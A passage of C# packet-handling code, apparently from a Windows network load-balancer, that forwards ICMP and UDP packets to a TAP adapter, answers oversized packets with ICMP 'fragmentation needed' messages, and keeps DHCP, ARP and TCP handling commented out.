(dhcpReply.getOption((int)DhcpOptionCode.DhcpMsgType)[0] == 2) // { // PublicVars.offeredIp = dhcpReply.YourIp; // PublicVars.dhcpServer = dhcpReply.getOption((int)DhcpOptionCode.DhcpServerId); // PublicVars.dhcpState = 2; // } // else if (dhcpReply.getOption((int)DhcpOptionCode.DhcpMsgType)[0] == 5) // { // PublicVars.dhcpState = 4; // } // else if (dhcpReply.getOption((int)DhcpOptionCode.DhcpMsgType)[0] == 6) // { // PublicVars.offeredIp = null; // PublicVars.dhcpState = 0; // PublicVars.dhcpId = 0; // } // } // } // else if (packet.Ethernet.EtherType == EthernetType.Arp && PublicVars.arpState == 1) // { // if (packet.Ethernet.Arp.SenderProtocolAddress.SequenceEqual(PublicVars.offeredIp)) // PublicVars.arpState = 2; // } //} //if (packet.Ethernet.EtherType == EthernetType.Arp) //{ // if (packet.Ethernet.Arp.TargetProtocolAddress.SequenceEqual(ownProtocolAddressByte) && // packet.Ethernet.Arp.Operation == ArpOperation.Request) // { // EthernetLayer ethernetLayer = new EthernetLayer // { // Source = ifHardwareAddress, // Destination = packet.Ethernet.Source, // EtherType = EthernetType.None, // }; // ArpLayer arpLayer = new ArpLayer // { // ProtocolType = EthernetType.IpV4, // Operation = ArpOperation.Reply, // SenderHardwareAddress = ifHardwareAddressByte.AsReadOnly(), // SenderProtocolAddress = packet.Ethernet.Arp.TargetProtocolAddress, // TargetHardwareAddress = packet.Ethernet.Arp.SenderHardwareAddress, // TargetProtocolAddress = packet.Ethernet.Arp.SenderProtocolAddress, // }; // PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer); // communicator.SendPacket(builder.Build(DateTime.Now)); // } //} if (tapWorker.Initialized.IsSet) { if (packet.Ethernet.IpV4.Length > MTU) // only UDP and ICMP { EthernetLayer ethernetLayer = new EthernetLayer { Source = ifHardwareAddress, Destination = packet.Ethernet.Source, EtherType = EthernetType.None, }; IpV4Layer ipV4Layer = new IpV4Layer { Source = packet.Ethernet.IpV4.Destination, CurrentDestination = packet.Ethernet.IpV4.Source, Fragmentation = packet.Ethernet.IpV4.Fragmentation, HeaderChecksum = null, // Will be filled automatically. Identification = 123, Options = packet.Ethernet.IpV4.Options, Protocol = packet.Ethernet.IpV4.Protocol, Ttl = packet.Ethernet.IpV4.Ttl, TypeOfService = packet.Ethernet.IpV4.TypeOfService, }; IcmpDestinationUnreachableLayer icmpLayer = new IcmpDestinationUnreachableLayer { Code = IcmpCodeDestinationUnreachable.FragmentationNeededAndDoNotFragmentSet, NextHopMaximumTransmissionUnit = (ushort)MTU, }; PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, icmpLayer); SendPacket(builder.Build(DateTime.Now)); // TODO: fix warning spam if (Global.Config.LoadBalancer.ShowTrayTipsWarnings) Global.ShowTrayTip("Load Balancer", "IP packet larger than the MTU detected on " + Name + ".\n\nIP fragmentation is not supported.", ToolTipIcon.Warning); Global.WriteLog("Load Balancer: IP packet larger than the MTU detected on " + Name); return; } if (packet.Ethernet.IpV4.Fragmentation.Options == IpV4FragmentationOptions.DoNotFragment || packet.Ethernet.IpV4.Fragmentation.Options == IpV4FragmentationOptions.None && packet.Ethernet.IpV4.Fragmentation.Offset == 0) { if (packet.Ethernet.IpV4.Protocol == IpV4Protocol.InternetControlMessageProtocol) { if (packet.Ethernet.IpV4.Destination == ifProtocolAddress) if ((packet.Ethernet.IpV4.Icmp.MessageType == IcmpMessageType.EchoReply || packet.Ethernet.IpV4.Fragmentation.Offset > 0)) { EthernetLayer ethernetLayer = new EthernetLayer { Source = tapWorker.ownHardwareAddress, Destination = tapWorker.ifHardwareAddress, EtherType = EthernetType.None, }; IpV4Layer ipV4Layer = new IpV4Layer { Source = packet.Ethernet.IpV4.Source, CurrentDestination = tapWorker.ifProtocolAddress, Fragmentation = packet.Ethernet.IpV4.Fragmentation, HeaderChecksum = null, // Will be filled automatically. Identification = packet.Ethernet.IpV4.Identification, Options = packet.Ethernet.IpV4.Options, Protocol = packet.Ethernet.IpV4.Protocol, Ttl = packet.Ethernet.IpV4.Ttl, TypeOfService = packet.Ethernet.IpV4.TypeOfService, }; PayloadLayer payloadLayer = new PayloadLayer { Data = new Datagram(packet.Ethernet.IpV4.Payload.ToArray()), }; PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, payloadLayer); tapWorker.SendPacket(builder.Build(DateTime.Now)); } } //else if (packet.Ethernet.IpV4.Protocol == IpV4Protocol.Tcp) //{ // if (packet.Ethernet.IpV4.Destination == ifProtocolAddress) // { // lock (RoutingTable.lockObj) // routingObject = RoutingTable.TranslateBack(packet); // if (routingObject.ifIndex == -1) // return; // EthernetLayer ethernetLayer = new EthernetLayer // { // Source = TapWorker.ownHardwareAddress, // Destination = TapWorker.ifHardwareAddress, // EtherType = packet.Ethernet.EtherType, // }; // IpV4Layer ipV4Layer = new IpV4Layer // { // Source = packet.Ethernet.IpV4.Source, // CurrentDestination = TapWorker.ifProtocolAddress, // Fragmentation = packet.Ethernet.IpV4.Fragmentation, // HeaderChecksum = null, // Will be filled automatically. // Identification = packet.Ethernet.IpV4.Identification, // Options = packet.Ethernet.IpV4.Options, // Protocol = packet.Ethernet.IpV4.Protocol, // Ttl = packet.Ethernet.IpV4.Ttl, // TypeOfService = packet.Ethernet.IpV4.TypeOfService, // }; // TcpLayer tcpLayer = new TcpLayer // { // SourcePort = packet.Ethernet.IpV4.Tcp.SourcePort, // DestinationPort = routingObject.localPort, // Checksum = null, // Will be filled automatically. // SequenceNumber = packet.Ethernet.IpV4.Tcp.SequenceNumber, // AcknowledgmentNumber = routingObject.ack, // ControlBits = packet.Ethernet.IpV4.Tcp.ControlBits, // Window = packet.Ethernet.IpV4.Tcp.Window, // UrgentPointer = packet.Ethernet.IpV4.Tcp.UrgentPointer, // Options = packet.Ethernet.IpV4.Tcp.Options, // }; // PayloadLayer payloadLayer = new PayloadLayer // { // Data = new Datagram(packet.Ethernet.IpV4.Tcp.Payload.ToArray()), // }; // PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, tcpLayer, payloadLayer); // MainThread.tapWorker.SendPacket(builder.Build(DateTime.Now)); // } //} else if (packet.Ethernet.IpV4.Protocol == IpV4Protocol.Udp) { if (packet.Ethernet.IpV4.Destination == ifProtocolAddress) { phyRoutingObject = RoutingTable.IsUdpConn(packet); if (phyRoutingObject.ifIndex == -1) return; EthernetLayer ethernetLayer = new EthernetLayer { Source = tapWorker.ownHardwareAddress, Destination = tapWorker.ifHardwareAddress, EtherType = packet.Ethernet.EtherType, }; IpV4Layer ipV4Layer = new IpV4Layer { Source = packet.Ethernet.IpV4.Source, CurrentDestination = tapWorker.ifProtocolAddress, Fragmentation = packet.Ethernet.IpV4.Fragmentation, HeaderChecksum = null, // Will be filled automatically. Identification = packet.Ethernet.IpV4.Identification, Options = packet.Ethernet.IpV4.Options, Protocol = packet.Ethernet.IpV4.Protocol, Ttl = packet.Ethernet.IpV4.Ttl, TypeOfService = packet.Ethernet.IpV4.TypeOfService, }; UdpLayer udpLayer = new UdpLayer { SourcePort = packet.Ethernet.IpV4.Udp.SourcePort, DestinationPort = packet.Ethernet.IpV4.Udp.DestinationPort, Checksum = null, // Will be filled automatically. CalculateChecksumValue = packet.Ethernet.IpV4.Udp.IsChecksumOptional, }; PayloadLayer payloadLayer = new PayloadLayer { Data = new Datagram(packet.Ethernet.IpV4.Udp.Payload.ToArray()), }; PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, udpLayer, payloadLayer); tapWorker.SendPacket(builder.Build(DateTime.Now)); } } } else if (packet.Ethernet.IpV4.Fragmentation.Options == IpV4FragmentationOptions.MoreFragments || packet.Ethernet.IpV4.Fragmentation.Options == IpV4FragmentationOptions.None && packet.Ethernet.IpV4.Fragmentation.Offset > 0) { // TODO: fix warning spam if (Global.Config.LoadBalancer.ShowTrayTipsWarnings) Global.ShowTrayTip("Load Balancer", "IP fragmentation detected on " + Name + ".\n\nIP fragmentation is not supported.", ToolTipIcon.Warning); Global.WriteLog("Load Balancer: IP fragmentation detected on " + Name); //fragments = fragBuffer.Add(packet); //if (fragments != null) // for (int i = 0; i < fragments.Count; i++) // { // IpV4Handler(fragments[i], fragments); // } } } }); } } catch (Exception e) { if (ThreadActive.IsSet) { ThreadActive.Reset(); Global.WriteLog("Load Balancer: " + Name + " has disconnected"); if (Global.Config.Gadget.Debug) Global.WriteLog(e.ToString()); Global.ShowTrayTip("Load Balancer", Name + " has disconnected", System.Windows.Forms.ToolTipIcon.Warning); } } }